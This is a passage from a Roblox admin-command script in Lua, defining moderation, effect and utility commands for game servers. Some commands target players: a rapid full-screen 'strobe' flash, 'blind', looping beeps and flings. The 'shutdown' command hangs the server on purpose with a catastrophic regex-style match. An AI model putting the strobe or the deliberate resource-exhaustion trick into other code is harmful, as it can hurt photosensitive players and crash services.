6404 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6405 else
6406 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6407 end
6408 end
6409 end
6410 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6411 end};
6412
6413 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6414 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6415 end};
6416
6417 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6418 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6419 end};
6420
6421 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6422 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6423 end};
6424
6425 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6426 local TableStorage = {}
6427 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6428 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6429 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6430 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6431 end};
6432
6433 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6434 local TableStorage = {}
6435 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6436 for Num,PlayerName in pairs(PlayerNames) do
6437 if PlayerRank == "Owner" then
6438 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6439 else
6440 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6441 end
6442 end
6443 end
6444 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6445 end};
6446
6447 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6448 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6449 end};
6450
6451 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6452 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6453 end};
6454
6455 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6456 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6457 end};
6458
6459 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6460 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6461 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6462 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6463 end};
6464
6465 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6466 CommandLogs = {}
6467 end};
6468
6469 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6470 ChatLogs = {}
6471 end};
6472
6473 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6474 IRC.Logs = {}
6475 end};
6476
6477 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6478 CommandLogs = {}
6479 ChatLogs = {}
6480 IRC.Logs = {}
6481 end};
6482
6483 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6484 Server.GDS:SetAsync("ExploitLog", {})
6485 end};
6486
6487 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6488 local List,Correlate,SoundName = {},{},{}
6489 for Name,Info in pairs(SoundList) do
6490 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6491 table.insert(List, View)
6492 Correlate[View] = Info[1]
6493 end
6494
6495 local CanClick = true
6496 if Rank == "Member" then CanClick = false end
6497 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6498 Clicked.Event:connect(function(ClickName)
6499 local OldSoundId = nil
6500 SOUND:StopGlobalSound()
6501 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6502 SOUND:PlayGlobalSound(Correlate[ClickName])
6503 end
6504 end)
6505 end};
6506
6507 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6508 SOUND:SyncSoundList(Speaker)
6509 end};
6510
6511 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6512 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6513 if Answer == "Yes" then
6514 Server.Workspace.Terrain:Clear()
6515 end
6516 end};
6517
6518 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6519 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6520 if Answer == "Yes" then
6521 for _,Obj in pairs(Workspace:GetChildren()) do
6522 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6523 Obj:Destroy()
6524 end
6525 end
6526 end
6527 end};
6528
6529 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6530 CORE:MakeBase()
6531 end};
6532
6533 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6534 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6535 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6536 CustomSounds = {}
6537 end
6538 if tostring(Arguments[1]) then
6539 local Request = MARKET:GetItemInfo(Arguments[1])
6540 if Request.AssetTypeId == 3 then
6541 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6542 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6543 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6544 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6545 else
6546 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6547 end
6548 end
6549 end};
6550
6551 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6552 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6553 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6554 CustomSounds = {}
6555 end
6556
6557 local Removed = {}
6558 for Num,Data in pairs(CustomSounds) do
6559 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6560 table.insert(Removed, Data[1])
6561 table.remove(CustomSounds, Num)
6562 end
6563 end
6564
6565 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6566
6567 SOUND:SyncSoundList()
6568
6569 if #Removed > 0 then
6570 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6571 else
6572 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6573 end
6574 end};
6575
6576 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6577 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6578 if Answer == "Yes" then
6579 Server.GDS:SetAsync("MML Custom Sounds", {})
6580 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6581 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6582 end
6583 end};
6584
6585 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6586 local Players = STRING:Scan(Arguments[1], Speaker)
6587 local SpeakerTesting = false
6588 for _,Player in pairs(Players) do
6589 if Player == Speaker then SpeakerTesting = true end
6590 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6591 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6592 --wait(10)
6593 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6594 end)() end
6595 end
6596 if SpeakerTesting == false then
6597 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6598 end
6599 end};
6600
6601 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6602 local Players = STRING:Scan(Arguments[1], Speaker)
6603 local Compile = {}
6604 for _,Player in pairs(Players) do
6605 local PlayerInfo = ClientInfo[Player.Name]
6606 if PlayerInfo then
6607 if PlayerInfo.Benchmark then
6608 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6609 else
6610 table.insert(Compile, Player.Name..": No score")
6611 end
6612 end
6613 end
6614 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6615 end};
6616
6617 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6618 local Players = STRING:Scan(Arguments[1], Speaker)
6619 for _,Player in pairs(Players) do
6620 CORE:Chatted(Arguments[2], Player, true)
6621 end
6622 end};
6623
6624 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6625 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6626 end};
6627
6628 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6629 local Players = STRING:Scan(Arguments[1], Speaker)
6630 for _,Player in pairs(Players) do
6631 if Player.Character ~= nil then
6632 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6633 if Player.Character.Torso:FindFirstChild("Neck") then
6634 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6635 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6636 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6637 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6638 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6639 end
6640 end
6641 end
6642 end
6643 end};
6644
6645 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6646 local Players = STRING:Scan(Arguments[1], Speaker)
6647 for _,Player in pairs(Players) do
6648 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6649 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6650 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6651 end
6652 end
6653 end};
6654
6655 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6656 local Players = STRING:Scan(Arguments[1], Speaker)
6657 for _,Player in pairs(Players) do
6658 local _,RankNum = RANK:GetRank(Player)
6659 if RankNum <= RANK:ConvertRank(Rank) then
6660 CORE:FlingPlayer(Player)
6661 end
6662 end
6663 end};
6664
6665 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6666 local Players = STRING:Scan(Arguments[1], Speaker)
6667 for _,Player in pairs(Players) do
6668 local _,RankNum = RANK:GetRank(Player)
6669 if RankNum <= RANK:ConvertRank(Rank) then
6670 Flings[Player.Name] = true
6671 CORE:FlingPlayer(Player)
6672 end
6673 end
6674 end};
6675
6676 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6677 local Players = STRING:Scan(Arguments[1], Speaker)
6678 for _,Player in pairs(Players) do
6679 local _,RankNum = RANK:GetRank(Player)
6680 if RankNum <= RANK:ConvertRank(Rank) then
6681 Flings[Player.Name] = nil
6682 end
6683 end
6684 end};
6685
6686 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6687 local Players = STRING:Scan(Arguments[1], Speaker)
6688 for _,Player in pairs(Players) do
6689 CORE:Nuke(Player)
6690 end
6691 end};
6692
6693 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6694 local Players = STRING:Scan(Arguments[1], Speaker)
6695 for _,Player in pairs(Players) do
6696 Beeps[Player.Name] = true
6697 SOUND:BeepPlayer(Player)
6698 end
6699 end};
6700
6701 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6702 local Players = STRING:Scan(Arguments[1], Speaker)
6703 for _,Player in pairs(Players) do
6704 if Player.PlayerGui then
6705 Beeps[Player.Name] = nil
6706 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6707 if Obj.Name == "Annoy" then
6708 Obj:Stop()
6709 Obj:Destroy()
6710 end
6711 end
6712 end
6713 end
6714 end};
6715
6716 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6717 local Time = Arguments[1]
6718 if Time == "day" or Time == "noon" then Time = "12" end
6719 if Time == "night" or Time == "midnight" then Time = "0" end
6720 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6721 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6722 if Time == "afternoon" then Time = "15:30" end
6723 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6724 end};
6725
6726 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6727 local Players = STRING:Scan(Arguments[1], Speaker)
6728 for _,Player in pairs(Players) do
6729 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6730 end
6731 end};
6732
6733 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6734 local AbuseMode = false
6735 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6736 local Players = STRING:Scan(Arguments[1], Speaker)
6737 for _,Player in pairs(Players) do
6738 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6739 end
6740 end};
6741
6742 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6743 local Players = STRING:Scan(Arguments[1], Speaker)
6744 for _,Player in pairs(Players) do
6745 CORE:Insert(125013769, Player.Backpack, true)
6746 end
6747 end};
6748
6749 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6750 local Players = STRING:Scan(Arguments[1], Speaker)
6751 for _,Player in pairs(Players) do
6752 if Player.Character then
6753 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6754 end
6755 end
6756 end};
6757
6758 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6759 CORE:ResetLighting()
6760 repeat
6761 Server.Lighting.Ambient = Color3.new(1,1,1)
6762 Server.Lighting.FogColor = Color3.new(1,1,1)
6763 Server.Lighting.Brightness = 1
6764 Server.Lighting.TimeOfDay = 14
6765 wait(0.1)
6766 Server.Lighting.Ambient = Color3.new(0,0,0)
6767 Server.Lighting.FogColor = Color3.new(0,0,0)
6768 Server.Lighting.Brightness = 0
6769 Server.Lighting.TimeOfDay = 0
6770 wait(0.1)
6771 until ModLighting == false
6772 end};
6773
6774 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6775 CORE:ResetLighting()
6776 repeat
6777 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6778 Server.Lighting.Ambient = Color
6779 Server.Lighting.FogColor = Color
6780 Server.Lighting.TimeOfDay = 0
6781 Server.Lighting.FogEnd = 500
6782 wait(0.1)
6783 until ModLighting == false
6784 end};
6785
6786 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6787 CORE:FixLighting()
6788 end};
6789
6790 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6791 local Players = STRING:Scan(Arguments[1], Speaker)
6792 for _,Player in pairs(Players) do
6793 if Player:FindFirstChild("PlayerGui") then
6794 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6795 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6796 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6797 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6798 end
6799 end
6800 end};
6801
6802 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6803 local Players = STRING:Scan(Arguments[1], Speaker)
6804 for _,Player in pairs(Players) do
6805 if Player:FindFirstChild("PlayerGui") then
6806 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6807 end
6808 end
6809 end};
6810
6811 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6812 local Players = STRING:Scan(Arguments[1], Speaker)
6813 for _,Player in pairs(Players) do
6814 if Player:FindFirstChild("PlayerGui") then
6815 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6816 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6817 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6818 end
6819 end
6820 end};
6821
6822 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6823 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6824 if Suc then
6825 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6826 else
6827 Server.TS:Teleport(game.PlaceId, Speaker)
6828 end
6829 end};
6830
6831 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6832 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6833 end};
6834
6835 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6836 local NewAbuse = Arguments[1]
6837 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6838 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6839 end
6840
6841 local Match = false
6842 for _,AbuseCmd in pairs(Settings.AbuseList) do
6843 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6844 Match = true
6845 break
6846 end
6847 end
6848 if not Match then
6849 table.insert(Settings.AbuseList, NewAbuse)
6850 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6851 else
6852 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6853 end
6854 CORE:SetAbuseCommands()
6855 end};
6856
6857 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6858 local NewAbuse = Arguments[1]
6859 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6860 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6861 end
6862
6863 local Removed = false
6864 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6865 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6866 Removed = true
6867 table.remove(Settings.AbuseList, Num)
6868 end
6869 end
6870 if Removed then
6871 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6872 else
6873 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6874 end
6875 CORE:SetAbuseCommands()
6876 end};
6877
6878 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6879 local Players = STRING:Scan(Arguments[1], Speaker)
6880 for _,Player in pairs(Players) do
6881 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6882 Player.Character.Humanoid.MaxHealth = math.huge
6883 Player.Character.Humanoid.Health = math.huge
6884 end
6885 end
6886 end};
6887
6888 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6889 local Players = STRING:Scan(Arguments[1], Speaker)
6890 for _,Player in pairs(Players) do
6891 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6892 if Player.Character.Humanoid.MaxHealth == math.huge then
6893 Player.Character.Humanoid.MaxHealth = 100
6894 Player.Character.Humanoid.Health = 100
6895 else
6896 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6897 end
6898 end
6899 end
6900 end};
6901
6902 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6903 local Players = STRING:Scan(Arguments[1], Speaker)
6904 for _,Player in pairs(Players) do
6905 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6906 local Char = Player.Character
6907 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6908 end
6909 end
6910 end};
6911
6912 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6913 if tonumber(Arguments[2]) then
6914 local Players = STRING:Scan(Arguments[1], Speaker)
6915 for _,Player in pairs(Players) do
6916 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6917 Player.Character.Humanoid.Health = Arguments[2]
6918 end
6919 end
6920 end
6921 end};
6922
6923 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6924 if tonumber(Arguments[2]) then
6925 local Players = STRING:Scan(Arguments[1], Speaker)
6926 for _,Player in pairs(Players) do
6927 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6928 local Speed = tonumber(Arguments[2])
6929 if Speed then
6930 if Rank == "Member" then
6931 if Speed > 1000 then Speed = 1000
6932 elseif Speed < -1000 then Speed = -1000 end
6933 end
6934 Player.Character.Humanoid.WalkSpeed = Speed
6935 end
6936 end
6937 end
6938 end
6939 end};
6940
6941 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6942 if tonumber(Arguments[2]) then
6943 local Players = STRING:Scan(Arguments[1], Speaker)
6944 for _,Player in pairs(Players) do
6945 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6946 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6947 end
6948 end
6949 end
6950 end};
6951
6952 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6953 local Players = STRING:Scan(Arguments[1], Speaker)
6954 for _,Player in pairs(Players) do
6955 CORE:Fly(Player, 10000)
6956 end
6957 end};
6958
6959 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6960 local Players = STRING:Scan(Arguments[1], Speaker)
6961 for _,Player in pairs(Players) do
6962 CORE:Fly(Player, 1000000)
6963 end
6964 end};
6965
6966 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6967 local Players = STRING:Scan(Arguments[1], Speaker)
6968 for _,Player in pairs(Players) do
6969 if Player.Character then
6970 if Player.Character:FindFirstChild("StopMMLFly") then
6971 Player.Character.StopMMLFly:InvokeClient(Player)
6972 end
6973 end
6974 end
6975 end};
6976
6977 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6978 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6979 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6980 end};
6981
6982 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6983 local Players = STRING:Scan(Arguments[1], Speaker)
6984 for _,Player in pairs(Players) do
6985 CORE:GiveTools(Player, Arguments[2])
6986 end
6987 end};
6988
6989 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6990 local List = {}
6991 for _,Region in pairs(ToolRegions) do
6992 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6993 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6994 end)
6995 end
6996
6997 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6998 end};
6999
7000 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
7001 local Players = STRING:Scan(Arguments[1], Speaker)
7002 for _,Player in pairs(Players) do
7003 CORE:GiveTools(Player, "btools")
7004 end
7005 end};
7006
7007 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
7008 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
7009 for _,Player in pairs(Server.Players:GetPlayers()) do
7010 Player:Kick()
7011 end
7012 Server.Workspace:ClearAllChildren()
7013 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
7014 end};
7015
7016 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
7017 local Players = STRING:Scan(Arguments[1], Speaker)
7018 for _,Player in pairs(Players) do
7019 CORE:Scale(Player, Arguments[2])
7020 end
7021 end};
7022
7023 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
7024 local Players = STRING:Scan(Arguments[1], Speaker)
7025 for _,Player in pairs(Players) do
7026 CORE:Scale(Player, 50)
7027 end
7028 end};
7029
7030 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
7031 local Players = STRING:Scan(Arguments[1], Speaker)
